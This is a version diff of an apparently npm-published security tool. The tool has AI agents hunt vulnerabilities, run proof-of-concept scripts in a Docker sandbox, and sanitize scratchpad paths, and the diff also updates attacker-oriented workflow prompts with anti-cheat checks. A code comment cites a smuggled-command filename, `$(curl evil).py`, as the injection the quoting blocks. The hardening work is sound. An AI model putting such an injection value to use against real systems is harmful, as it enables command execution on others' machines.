@xaccefy/pi-casefile 0.7.6 → 0.8.1

package/src/pipeline-submit.ts

@@ -20,12 +20,7 @@
 import { createHash } from "node:crypto";
 import { existsSync, readFileSync, writeFileSync } from "node:fs";
 import { dirname, isAbsolute, join, relative, resolve } from "node:path";
-import {
-  getRunDir,
-  getScratchpadRoot,
-  type ScratchpadPhase,
-  scratchpad_write,
-} from "./scratchpad.ts";
+import { getRunDir, getScratchpadRoot, scratchpad_write } from "./scratchpad.ts";
 
 // ── Types ────────────────────────────────────────────────────────────
 
@@ -86,7 +81,9 @@ const VULN_CLASSES = [
   "other",
 ] as const;
 
-const SPECS: Record<SubmitStage, StageSpec> = {
+// Exported for test/pipeline-submit-schema-parity.test.ts (drift guard
+// against schemas/*.json — the two are kept as mirrors of each other).
+export const SPECS: Record<SubmitStage, StageSpec> = {
   // schemas/stage-finding.json
   hunt: {
     required: [
@@ -415,15 +412,6 @@ function dedupHunt(state: SubmitState, obj: Record<string, unknown>): { duplicat
 
 // ── Public API ───────────────────────────────────────────────────────
 
-const STAGE_TO_PHASE: Record<SubmitStage, ScratchpadPhase> = {
-  hunt: "hunt",
-  trace: "trace",
-  skeptic: "skeptic",
-  validate: "validate",
-  chain: "chain",
-  report: "report",
-};
-
 export function pipeline_submit(runId: string, stage: SubmitStage, output: unknown): SubmitResult {
   const parsed = parseOutput(output);
   if (parsed.error || !parsed.obj) {
@@ -497,9 +485,11 @@ export function pipeline_submit(runId: string, stage: SubmitStage, output: unkno
     }
   }
 
+  // Submit stages are a subset of scratchpad phases, so the stage name IS
+  // the phase directory.
   const artifact = scratchpad_write(
     runId,
-    STAGE_TO_PHASE[stage],
+    stage,
     `${key.replace(/[^a-zA-Z0-9._:-]/g, "_")}.json`,
     JSON.stringify(obj, null, 2),
   );

package/src/poc-runner.ts

@@ -1,7 +1,9 @@
 import { spawnSync } from "node:child_process";
 import { copyFileSync, existsSync, mkdtempSync, readFileSync, rmSync } from "node:fs";
 import { tmpdir } from "node:os";
-import { basename, dirname, extname, isAbsolute, join, relative, resolve } from "node:path";
+import { basename, extname, isAbsolute, join, relative, resolve } from "node:path";
+
+import { findWorkspaceRoot } from "./scratchpad.ts";
 
 export type PocRun = {
   path: string;
@@ -9,20 +11,24 @@ export type PocRun = {
   output: string;
   ranAt: string;
   sandbox: boolean;
+  /**
+   * True iff the script actually ran to completion. False when the process
+   * could not start (spawn error), was killed by a signal, or timed out —
+   * a crash is NOT a verdict, and callers must not treat it as one.
+   */
+  completed: boolean;
 };
 
 export type PocLanguage = {
   /** Docker image used when running inside the sandbox. */
   image: string;
   /** Shell command to run an interpreted PoC. {{file}} is replaced with the source path. */
-  run?: string;
-  /** Shell command to build and run a compiled PoC. {{file}}, {{bin}}, {{class}} replaced. */
-  buildRun?: string;
+  run: string;
   /** Files that, when present in the project root, identify this project type. */
   projectMarkers?: string[];
 };
 
-/** Minimal built-in defaults. Users can override/extend via env. */
+/** Built-in interpreted languages. Compiled languages are unsupported on purpose. */
 const BUILTIN_LANGUAGES: Record<string, PocLanguage> = {
   python: {
     image: "python:3.12-slim",
@@ -40,7 +46,7 @@ const BUILTIN_LANGUAGES: Record<string, PocLanguage> = {
   },
 };
 
-/** Extension to language key. Unknown extensions can be supplied by the user. */
+/** Extension to language key. Unknown extensions need a shebang or PI_POC_DEFAULT_LANGUAGE. */
 const EXTENSION_MAP: Record<string, string> = {
   ".py": "python",
   ".js": "node",
@@ -54,58 +60,21 @@ const EXTENSION_MAP: Record<string, string> = {
 
 const OUTPUT_MAX_CHARS = 4000;
 const TIMEOUT_MS = 30_000;
+/** Completion sentinel echoed after the PoC command inside the sandbox shell. */
+function makeSentinel(): string {
+  return `__PI_POC_DONE_${Math.random().toString(36).slice(2, 12)}__`;
+}
 /** First-use image downloads are slow — pull outside the run timeout. */
 const PULL_TIMEOUT_MS = 300_000;
 const MAX_BUFFER = 8 * 1024 * 1024;
 
 function getProjectRoot(): string {
-  const envRoot = process.env.PI_POC_ROOT?.trim();
-  if (envRoot) return resolve(envRoot);
-
-  let curr = resolve(process.cwd());
-  for (let i = 0; i < 20; i++) {
-    if (existsSync(join(curr, ".git"))) return curr;
-    const parent = dirname(curr);
-    if (parent === curr) break;
-    curr = parent;
-  }
-  return resolve(process.cwd());
-}
-
-function loadLanguages(): Record<string, PocLanguage> {
-  const languages = { ...BUILTIN_LANGUAGES };
-
-  // Project-level overrides: .pi/poc-languages.json at the workspace root.
-  try {
-    const filePath = join(getProjectRoot(), ".pi", "poc-languages.json");
-    if (existsSync(filePath)) {
-      const extra = JSON.parse(readFileSync(filePath, "utf8")) as Record<string, PocLanguage>;
-      for (const [key, lang] of Object.entries(extra)) {
-        if (lang?.image) languages[key] = lang;
-      }
-    }
-  } catch {
-    // Malformed project config is ignored.
-  }
-
-  const envOverride = process.env.PI_POC_LANGUAGES?.trim();
-  if (envOverride) {
-    try {
-      const extra = JSON.parse(envOverride) as Record<string, PocLanguage>;
-      for (const [key, lang] of Object.entries(extra)) {
-        if (lang?.image) languages[key] = lang;
-      }
-    } catch {
-      // Malformed env JSON is ignored.
-    }
-  }
-
-  return languages;
+  return findWorkspaceRoot(["PI_POC_ROOT"], [".git"]);
 }
 
-function detectProjectType(languages: Record<string, PocLanguage>): string | undefined {
+function detectProjectType(): string | undefined {
   const root = getProjectRoot();
-  for (const [key, lang] of Object.entries(languages)) {
+  for (const [key, lang] of Object.entries(BUILTIN_LANGUAGES)) {
     for (const marker of lang.projectMarkers ?? []) {
       if (existsSync(join(root, marker))) return key;
     }
@@ -130,60 +99,49 @@ function parseShebang(pocPath: string): string | undefined {
   }
 }
 
-function interpreterToLanguage(
-  interpreter: string,
-  languages: Record<string, PocLanguage>,
-): string | undefined {
+function interpreterToLanguage(interpreter: string): string | undefined {
   const bin = basename(interpreter).toLowerCase();
-  for (const [key, lang] of Object.entries(languages)) {
-    if (lang.run) {
-      const runBin = lang.run.split(" ")[0].toLowerCase();
-      if (runBin === bin) return key;
-    }
-    if (lang.buildRun) {
-      const buildBin = lang.buildRun.split(" ")[0].toLowerCase();
-      if (buildBin === bin) return key;
-    }
+  for (const [key, lang] of Object.entries(BUILTIN_LANGUAGES)) {
+    if (lang.run.split(" ")[0].toLowerCase() === bin) return key;
   }
   return undefined;
 }
 
 function resolveLanguage(pocPath: string): { key: string; language: PocLanguage } {
-  const languages = loadLanguages();
   const ext = extname(pocPath).toLowerCase();
   const extKey = EXTENSION_MAP[ext];
 
   // 1. Shebang overrides everything.
   const shebang = parseShebang(pocPath);
   if (shebang) {
-    const shebangKey = interpreterToLanguage(shebang, languages);
-    if (shebangKey) return { key: shebangKey, language: languages[shebangKey] };
+    const shebangKey = interpreterToLanguage(shebang);
+    if (shebangKey) return { key: shebangKey, language: BUILTIN_LANGUAGES[shebangKey] };
   }
 
   // 2. Extension-based language (prefer the PoC file itself over ambient project markers).
   // A .py PoC in a Node monorepo must still run under python, not node.
-  if (extKey && languages[extKey]) {
-    return { key: extKey, language: languages[extKey] };
+  if (extKey && BUILTIN_LANGUAGES[extKey]) {
+    return { key: extKey, language: BUILTIN_LANGUAGES[extKey] };
   }
 
   // 3. Project type detection only when the extension is unknown/unmapped.
-  const projectType = detectProjectType(languages);
-  if (projectType && languages[projectType]) {
-    return { key: projectType, language: languages[projectType] };
+  const projectType = detectProjectType();
+  if (projectType && BUILTIN_LANGUAGES[projectType]) {
+    return { key: projectType, language: BUILTIN_LANGUAGES[projectType] };
   }
 
   // 4. Unknown extension: allow env override specifying a single language key.
   const envDefault = process.env.PI_POC_DEFAULT_LANGUAGE?.trim();
-  if (envDefault && languages[envDefault]) {
-    return { key: envDefault, language: languages[envDefault] };
+  if (envDefault && BUILTIN_LANGUAGES[envDefault]) {
+    return { key: envDefault, language: BUILTIN_LANGUAGES[envDefault] };
   }
 
-  const supported = Object.keys(languages).sort().join(", ");
+  const supported = Object.keys(BUILTIN_LANGUAGES).sort().join(", ");
   throw new Error(
     `Cannot determine PoC language for "${pocPath}". ` +
       `Detected extension: "${ext || "none"}". ` +
-      `Supported/adapted languages: ${supported}. ` +
-      `Add a shebang, use a known extension, or set PI_POC_DEFAULT_LANGUAGE or PI_POC_LANGUAGES.`,
+      `Supported languages: ${supported}. ` +
+      `Add a shebang, use a known extension, or set PI_POC_DEFAULT_LANGUAGE.`,
   );
 }
 
@@ -281,20 +239,12 @@ function shq(s: string): string {
 }
 
 function renderCommand(template: string, pocPath: string, inSandbox: boolean): string {
-  const sourceName = basename(pocPath);
-  const className = sourceName.replace(/\.[^.]+$/i, "");
   // In the sandbox the template runs under `sh -c`, and the PoC basename is
-  // agent-controlled — single-quote every substitution so a hostile filename
+  // agent-controlled — single-quote the substitution so a hostile filename
   // (e.g. `$(curl evil).py`) cannot inject shell into the container entrypoint.
   // Local mode uses no shell (args passed verbatim), so quoting stays off there.
-  const targetPath = inSandbox ? shq(`/workspace/${sourceName}`) : pocPath;
-  const binPath = inSandbox ? shq("/workspace/poc") : join(dirname(pocPath), "poc");
-  const cls = inSandbox ? shq(className) : className;
-
-  return template
-    .replace(/{{file}}/g, targetPath)
-    .replace(/{{bin}}/g, binPath)
-    .replace(/{{class}}/g, cls);
+  const targetPath = inSandbox ? shq(`/workspace/${basename(pocPath)}`) : pocPath;
+  return template.replace(/{{file}}/g, targetPath);
 }
 
 /**
@@ -360,22 +310,23 @@ function runSandboxed(pocPath: string, language: PocLanguage): PocRun {
         output: `[sandbox image error] ${(e as Error).message}`,
         ranAt,
         sandbox: true,
+        completed: false,
       };
     }
     copyFileSync(pocPath, `${workspaceDir}/${sourceName}`);
 
-    let command: string;
-    if (language.buildRun) {
-      command = renderCommand(language.buildRun, pocPath, true);
-    } else if (language.run) {
-      command = renderCommand(language.run, pocPath, true);
-    } else {
-      throw new Error("Language config has no run or buildRun command");
-    }
+    const command = renderCommand(language.run, pocPath, true);
+
+    // Completion sentinel: wrap the command so the shell echoes a unique token
+    // AFTER the PoC exits, preserving its exit code. If the container is
+    // killed, times out, or the run never starts, the sentinel is absent —
+    // callers can then tell "script ran and failed" from "script crashed".
+    const sentinel = makeSentinel();
+    const wrapped = `${command}; rc=$?; echo '${sentinel}'; exit $rc`;
 
     const result = spawnSync(
       "docker",
-      buildDockerArgs(language.image, command, workspaceDir, containerName),
+      buildDockerArgs(language.image, wrapped, workspaceDir, containerName),
       {
         encoding: "utf8",
         timeout: TIMEOUT_MS,
@@ -384,13 +335,16 @@ function runSandboxed(pocPath: string, language: PocLanguage): PocRun {
     );
 
     const spawnErr = result.error ? `\n[spawn error] ${result.error.message}` : "";
-    const output = sanitizeOutput((result.stdout ?? "") + (result.stderr ?? "") + spawnErr);
+    const raw = (result.stdout ?? "") + (result.stderr ?? "") + spawnErr;
+    const completed = raw.includes(sentinel);
+    const output = sanitizeOutput(raw.replace(sentinel, ""));
     return {
       path: pocPath,
       exitCode: spawnExitCode(result),
       output,
       ranAt,
       sandbox: true,
+      completed,
     };
   } finally {
     // Best-effort: remove any container still running after a timeout/kill.
@@ -410,31 +364,15 @@ function runSandboxed(pocPath: string, language: PocLanguage): PocRun {
 function runLocal(pocPath: string, language: PocLanguage): PocRun {
   const ranAt = new Date().toISOString();
 
-  if (language.buildRun) {
-    throw new Error(
-      "Compiled PoC languages require the Docker sandbox. " +
-        "Run PromoteFinding with local:false or use an interpreted PoC.",
-    );
-  }
-
-  if (!language.run) {
-    throw new Error("Language config has no run command");
-  }
-
   // The run template is `<interpreter> [flags...] {{file}}`. Split the static
-  // template on whitespace FIRST (the template is trusted config, not user input),
-  // then render placeholders within each token. Passing the tokens to spawnSync
-  // with NO shell keeps a space-containing PoC path as one arg and keeps extra
-  // flags (e.g. `node --experimental-vm-modules {{file}}`) as separate args.
+  // template on whitespace FIRST (builtins only, not user input), then render
+  // placeholders within each token. Passing the tokens to spawnSync with NO
+  // shell keeps a space-containing PoC path as one arg and keeps extra flags
+  // (e.g. `node --experimental-vm-modules {{file}}`) as separate args.
   // Splitting after rendering would re-split a space-containing path.
   const tokens = language.run.trim().split(/\s+/).filter(Boolean);
   const interpreter = tokens.shift() ?? language.run.trim();
-  const args = tokens.map((tok) =>
-    tok
-      .replace(/{{file}}/g, pocPath)
-      .replace(/{{bin}}/g, join(dirname(pocPath), "poc"))
-      .replace(/{{class}}/g, basename(pocPath).replace(/\.[^.]+$/i, "")),
-  );
+  const args = tokens.map((tok) => renderCommand(tok, pocPath, false));
 
   const result = spawnSync(interpreter, args, {
     encoding: "utf8",
@@ -442,7 +380,12 @@ function runLocal(pocPath: string, language: PocLanguage): PocRun {
     maxBuffer: MAX_BUFFER,
   });
 
+  // Local runs stay shell-free (space-containing paths stay single args), so
+  // there is no sentinel echo: "completed" is derived from the spawn result.
+  // A spawn error (interpreter missing) or a signal kill (timeout, SIGKILL)
+  // means the script never ran to completion — fail closed on those.
   const spawnErr = result.error ? `\n[spawn error] ${result.error.message}` : "";
+  const completed = !result.error && result.signal === null;
   const output = sanitizeOutput((result.stdout ?? "") + (result.stderr ?? "") + spawnErr);
   return {
     path: pocPath,
@@ -450,6 +393,7 @@ function runLocal(pocPath: string, language: PocLanguage): PocRun {
     output,
     ranAt,
     sandbox: false,
+    completed,
   };
 }
 
@@ -460,11 +404,7 @@ function runLocal(pocPath: string, language: PocLanguage): PocRun {
  * 1. Shebang line in the PoC file.
  * 2. File extension (a .py PoC in a Node repo still runs under python).
  * 3. Project type markers in the workspace root (e.g., package.json, requirements.txt).
- * 4. PI_POC_DEFAULT_LANGUAGE environment variable.
- *
- * Users can extend or override language definitions via:
- * - `.pi/poc-languages.json` in the project root.
- * - `PI_POC_LANGUAGES` environment variable (JSON object).
+ * 4. PI_POC_DEFAULT_LANGUAGE environment variable (a built-in language key).
  *
  * Security:
  * - PoC paths must be absolute and under the project workspace by default.

package/src/scratchpad.ts

@@ -6,11 +6,17 @@
  * logs) instead of stuffing everything into casefile text fields or relying
  * on each other's output streams (which creates an echo chamber).
  *
- * Directory layout per pipeline run:
+ * Directory layout per pipeline run (one subdir per phase — see PHASE_DIRS):
  *   {project_root}/.scratchpad/{run_id}/
  *     recon/      — fingerprints, tech detection, surface maps
+ *     hunt/       — per-class findings
+ *     gapfil/     — gap-fill audit notes
  *     trace/      — per-finding reachability traces
- *     verify/     — PoC logs, run outputs
+ *     skeptic/    — adversarial disproof attempts
+ *     verify/     — PoC logs, run outputs (validate phase)
+ *     chain/      — exploit-chain analysis
+ *     patch/      — remediation work
+ *     report/     — report-writer context
  *     state.json  — checkpoint file with phase completion + key IDs
  *
  * Resume re-reads scratchpad artifacts; it does not re-run completed phases
@@ -59,7 +65,7 @@ export interface ScratchpadResume {
 
 // ── Constants ────────────────────────────────────────────────────────
 
-const PHASE_ORDER: ScratchpadPhase[] = [
+export const PHASE_ORDER: ScratchpadPhase[] = [
   "recon",
   "hunt",
   "gapfil",
@@ -90,23 +96,20 @@ const SCRATCHPAD_DIR = ".scratchpad";
 let scratchpadRootOverride: string | undefined;
 
 /**
- * Detect the workspace root by walking up for a .git dir or package.json,
- * matching the ledger's detectWorkspaceRoot() heuristic.
+ * Walk up from cwd to the first directory containing any of `markers`.
+ * PWD is deliberately excluded (shell-set, can be stale/forged); explicit
+ * env overrides win, then the real cwd walk. Shared by ledger, scratchpad,
+ * and the PoC runner so the heuristic lives in one place.
  */
-function detectWorkspaceRoot(): string {
-  if (scratchpadRootOverride) return scratchpadRootOverride;
-
-  // PWD is deliberately excluded (shell-set, can be stale/forged); explicit
-  // overrides only, then walk up from the real cwd.
-  const envs = ["XPI_SCRATCHPAD_ROOT", "PI_WORKSPACE_ROOT", "GITHUB_WORKSPACE"];
-  for (const e of envs) {
-    const v = process.env[e];
+export function findWorkspaceRoot(envNames: string[], markers: string[]): string {
+  for (const e of envNames) {
+    const v = process.env[e]?.trim();
     if (v) return resolve(v);
   }
 
   let curr = resolve(process.cwd());
   for (let i = 0; i < 20; i++) {
-    if (existsSync(join(curr, ".git")) || existsSync(join(curr, "package.json"))) return curr;
+    if (markers.some((m) => existsSync(join(curr, m)))) return curr;
     const parent = dirname(curr);
     if (parent === curr) break;
     curr = parent;
@@ -114,6 +117,15 @@ function detectWorkspaceRoot(): string {
   return resolve(process.cwd());
 }
 
+/** Detect the scratchpad workspace root (override, env, then walk up). */
+function detectWorkspaceRoot(): string {
+  if (scratchpadRootOverride) return scratchpadRootOverride;
+  return findWorkspaceRoot(
+    ["XPI_SCRATCHPAD_ROOT", "PI_WORKSPACE_ROOT", "GITHUB_WORKSPACE"],
+    [".git", "package.json"],
+  );
+}
+
 /** Override the scratchpad root (for testing). Pass undefined to reset. */
 export function setScratchpadRoot(path: string | undefined): void {
   scratchpadRootOverride = path ? resolve(path) : undefined;
@@ -126,23 +138,23 @@ export function getScratchpadRoot(projectRoot?: string): string {
 }
 
 /**
- * Sanitize a run_id into a single safe directory name. Unlike artifact names,
- * run_ids arrive from the agent and were never sanitized — `..`/`/` would let
- * join() escape .scratchpad, turning ScratchpadClear("..") into a recursive
- * delete of the project root. Same allowlist as artifact names, plus rejection
- * of dot-only results (.", "..", or a sanitized empty string).
+ * Sanitize an agent-supplied name into a single safe path component. `..`/`/`
+ * would let join() escape its base directory (ScratchpadClear("..") would
+ * recursively delete the project root; an artifact named ".." points at the
+ * phase dir itself), so anything outside the allowlist becomes `_`, and a
+ * dot-only or empty result is rejected.
  */
-function sanitizeRunId(runId: string): string {
-  const safe = runId.replace(/[^a-zA-Z0-9._-]/g, "_");
-  if (!safe || /^\.*$/.test(safe)) {
-    throw new Error(`Invalid run_id: "${runId}" — nothing left after sanitization`);
+function sanitizeName(name: string, label: string): string {
+  const safe = name.replace(/[^a-zA-Z0-9._-]/g, "_");
+  if (!safe || /^\.+$/.test(safe)) {
+    throw new Error(`Invalid ${label}: "${name}" — nothing left after sanitization`);
   }
   return safe;
 }
 
 /** The directory for a specific run. */
 export function getRunDir(runId: string, projectRoot?: string): string {
-  return join(getScratchpadRoot(projectRoot), sanitizeRunId(runId));
+  return join(getScratchpadRoot(projectRoot), sanitizeName(runId, "run_id"));
 }
 
 /** The state.json path for a run. */
@@ -150,19 +162,6 @@ export function getStatePath(runId: string, projectRoot?: string): string {
   return join(getRunDir(runId, projectRoot), "state.json");
 }
 
-/**
- * Sanitize an artifact name into a safe filename. Same allowlist as run_ids,
- * plus dot-only rejection: a name like `..` or `.` would otherwise let join()
- * point at the phase/run directory itself (EISDIR crash on write/read).
- */
-function sanitizeArtifactName(artifactName: string): string {
-  const safe = artifactName.replace(/[^a-zA-Z0-9._-]/g, "_");
-  if (!safe || /^\.+$/.test(safe)) {
-    throw new Error(`Invalid artifact name: "${artifactName}" — nothing left after sanitization`);
-  }
-  return safe;
-}
-
 function emptyCheckpoint(runId: string, projectRoot: string): ScratchpadCheckpoint {
   const now = new Date().toISOString();
   return {
@@ -243,7 +242,7 @@ export function scratchpad_write(
   ensureRunDirs(runDir);
 
   // Sanitize artifact name: no path traversal, no dot-only escape.
-  const safeName = sanitizeArtifactName(artifactName);
+  const safeName = sanitizeName(artifactName, "artifact name");
   const dir = join(runDir, PHASE_DIRS[phase]);
   const filePath = join(dir, safeName);
   writeFileSync(filePath, content, "utf8");
@@ -260,7 +259,7 @@ export function scratchpad_read(
   projectRoot?: string,
 ): string | null {
   const root = projectRoot ?? detectWorkspaceRoot();
-  const safeName = sanitizeArtifactName(artifactName);
+  const safeName = sanitizeName(artifactName, "artifact name");
   const filePath = join(getRunDir(runId, root), PHASE_DIRS[phase], safeName);
   if (!existsSync(filePath)) return null;
   return readFileSync(filePath, "utf8");

package/src/workflow.ts

@@ -7,6 +7,24 @@
  * report-readiness criteria. Token-disciplined: every rule here is load-bearing;
  * wording is compressed, nothing is dropped.
  */
+import { KILL_REASON_VALUES } from "./ledger.ts";
+
+const KILL_REASONS_TEXT = KILL_REASON_VALUES.join(" / ");
+
+/** Case-lifecycle diagram, shared by the FULL and LITE workflows. */
+const LIFECYCLE_DIAGRAM = `
+\`\`\`
+                     +--- KILLED (dead end, documented why)
+                     |
+RECON -> HYPOTHESIS --+
+                       |
+                       +--> INVESTIGATING --> CONFIRMED --> REPORTED
+                                |   ^                 |
+                                |   |  chain/primitive |
+                                |   +-----------------+
+                                |
+                                +--> KILLED (insufficient impact, duplicate, etc.)
+\`\`\``;
 export const STATIC_CYBER_WORKFLOW = `
 # Cyber Workflow (Attacker-Oriented)
 
@@ -28,20 +46,10 @@ RECON (you, inline) → **HUNT** (auditor subagents, one per attack class, paral
 
 **HARD GATE — after RECON:** record the entry-point inventory, then STOP all inline reading/probing. Your very next tool call MUST be \`subagent({ tasks: [...] })\` dispatching HUNT auditors. If you catch yourself mapping a sink, reading a handler, or probing an endpoint beyond the recon inventory — that is HUNT work; stop, note it as a hunt task, and dispatch. Recon that bleeds into hunting is a pipeline violation, not progress.
 
-## Case Lifecycle (State Machine)
+**Subagent crash handling:** a subagent that dies (SIGABRT, OOM, timeout) is a RETRY, not a verdict — re-dispatch the same task once with a stronger model (\`subagent({agent, model, task})\`); repetition-loop runs are a known failure mode on cheap models. Crash again → record \`blocked: <agent> crashed\` in the pipeline-run case and continue; never silently drop the stage.
 
-\`\`\`
-                     +--- KILLED (dead end, documented why)
-                     |
-RECON -> HYPOTHESIS --+
-                       |
-                       +--> INVESTIGATING --> CONFIRMED --> REPORTED
-                                |   ^                 |
-                                |   |  chain/primitive |
-                                |   +-----------------+
-                                |
-                                +--> KILLED (insufficient impact, duplicate, etc.)
-\`\`\`
+## Case Lifecycle (State Machine)
+${LIFECYCLE_DIAGRAM}
 
 ### Phase → State map
 
@@ -121,7 +129,13 @@ An attempt: reproduce under different conditions (auth/config/network position);
 Strong example: "Read /api/users/123 as user B after confirming user A owns 123 → 403. Repeated with X-Override-User header (seen in admin traffic) → user A's data returned. Protection bypassed via the admin header."
 Weak: "Tried to disprove. Could not." — insufficient.
 
-If the disconfirmation script (\`disconfirmation_path\`) exits 0, promotion is blocked. If you cannot write a meaningful disconfirmation script, you don't understand the finding well enough to promote it.
+If the disconfirmation script (\`disconfirmation_path\`) exits 0, promotion is blocked. If you cannot write a meaningful disconfirmation script, you don't understand the finding well enough to promote it. A disconfirmation (or control) script that CRASHES — killed, timed out, interpreter missing — is blocked too: the harness detects the missing completion marker, and a crash is neither a survived disproof nor a clean control verdict.
+
+**Evidence chain closure (before PromoteFinding):** promotion is rejected unless the case carries an \`observation\` evidence item (EvidenceAdd role=observation — the initial signal) in addition to the auto-recorded reproduction item. Record observations as you go, not at promote time.
+
+**Control-target check (anti-cheat, REQUIRED for live findings):** for any finding tested against a live target (\`local:true\`), write \`control_path\` — a script that runs the SAME PoC against a control lacking the vulnerability (patched replica, second account, baseline endpoint, WAF-blocked path). The harness runs it and blocks promotion if the verification_marker appears in the control output. That is what proves the marker is target-dependent, not an unconditional print. If the PoC cannot be pointed at a control (no replica exists), say so in \`disconfirmation\` and downgrade confidence accordingly — do not skip the check for live findings.
+
+**PoC audit (anti-cheat, before PromoteFinding):** have an independent eye on the PoC script itself. For \`confidence: high\` findings the skeptic agent re-reads the PoC file (not just the source) hunting for: unconditional marker prints, trivially-true checks (accepting any 200, grepping for always-present strings), hardcoded expected values, and local mocks of the target. Record the audit result as an EvidenceAdd \`observation\` item (or \`refutation\` if it found a cheat → kill). The model that writes the check must not be the only one that reads it.
 
 ### 2. Design & Runtime Check — non-intentionality gate (mandatory)
 
@@ -209,7 +223,7 @@ Reproduce at least twice or via two methods.
 
 ## KILLED cataloging
 
-When a case is definitively dead (not "I don't know yet"), record the reason: intended_behavior / duplicate / framework_protection / exploit_unreliable / insufficient_impact / environmental_issue / not_applicable (true bug, no realistic attacker value). Documenting kills prevents re-opening dead ends. Cases with unresolved unknowns stay INVESTIGATING, not killed.
+When a case is definitively dead (not "I don't know yet"), record the reason: ${KILL_REASONS_TEXT} (true bug, no realistic attacker value). Documenting kills prevents re-opening dead ends. Cases with unresolved unknowns stay INVESTIGATING, not killed.
 `.trim();
 
 /**
@@ -237,19 +251,7 @@ Think like a real external attacker, not a code reviewer. Technical bugs are che
 **No subagent tool.** In lite mode you do not call \`subagent\`. All specialist work is yours.
 
 ## Case Lifecycle (State Machine)
-
-\`\`\`
-                     +--- KILLED (dead end, documented why)
-                     |
-RECON -> HYPOTHESIS --+
-                       |
-                       +--> INVESTIGATING --> CONFIRMED --> REPORTED
-                                |   ^                 |
-                                |   |  chain/primitive |
-                                |   +-----------------+
-                                |
-                                +--> KILLED (insufficient impact, duplicate, etc.)
-\`\`\`
+${LIFECYCLE_DIAGRAM}
 
 ## Stage discipline (all done by you, inline)
 
@@ -273,12 +275,16 @@ Write the final report as a self-contained markdown file at the report path Case
 - **No finding is confirmed until its target is verified in scope** per the program's scope instruction. Out-of-scope findings are killed, not confirmed.
 - **No finding is validated without a reachability trace** showing REACHABLE.
 - **High-confidence findings: do your own adversarial disconfirmation.** No skeptic subagent in lite mode — actively try to disprove your own finding and document the attempt in \`disconfirmation\`. Failing to disprove is the expected outcome.
-- **Confirmed requires** evidence + poc + impact + severity + target + disconfirmation, and a PoC that exited 0 **with the verification_marker in the output**. No mocks for the exploitation step.
+- **Confirmed requires** evidence + poc + impact + severity + target + disconfirmation, and a PoC that exited 0 **with the verification_marker in the output**. **Live findings (local:true) also require control_path**: the same PoC run against a control lacking the vuln must NOT print the marker (harness-side check) — this is what stops unconditional-marker and mock-target cheats. No mocks for the exploitation step.
 - **Severity is derived from proven PoC impact, not theory.** Under-claiming is safe; over-claiming gets the finding rejected at triage.
 - **Evidence-first:** every claim must be traceable to observed/reproduced behavior, source code, or documented platform behavior.
 - **Design & runtime check (mandatory before CONFIRMED):** actively search the target's docs, git history, changelog, and runtime/framework docs for evidence the behavior is BY DESIGN or already FIXED IN THE RUNTIME. Found it → KILL (\`intended_behavior\` / \`framework_protection\`), unless the documented intent is itself the flaw with real attacker impact. Not found → document the search in \`disconfirmation\` as non-intentionality proof.
 
 ## KILLED cataloging
 
-When a case is definitively dead (not "I don't know yet"), record the reason: intended_behavior / duplicate / framework_protection / exploit_unreliable / insufficient_impact / environmental_issue / not_applicable. Documenting kills prevents re-opening dead ends. Cases with unresolved unknowns stay INVESTIGATING, not killed.
+When a case is definitively dead (not "I don't know yet"), record the reason: ${KILL_REASONS_TEXT}. **A kill without a reason is rejected by the ledger** — add an EvidenceAdd \`refutation\` item or state the reason token in assumptions/nextStep. Documenting kills prevents re-opening dead ends. Cases with unresolved unknowns stay INVESTIGATING, not killed.
+
+## Stall rule (deferred)
+
+3 rounds without new signal, new surface, or new techniques → CaseUpdate(status: 'blocked', blockers: ["deferred after 3 rounds — revisit when: <exact condition>"]). Blocked-with-revisit-condition is the deferred state; do not kill leads that are merely stalled.
 `.trim();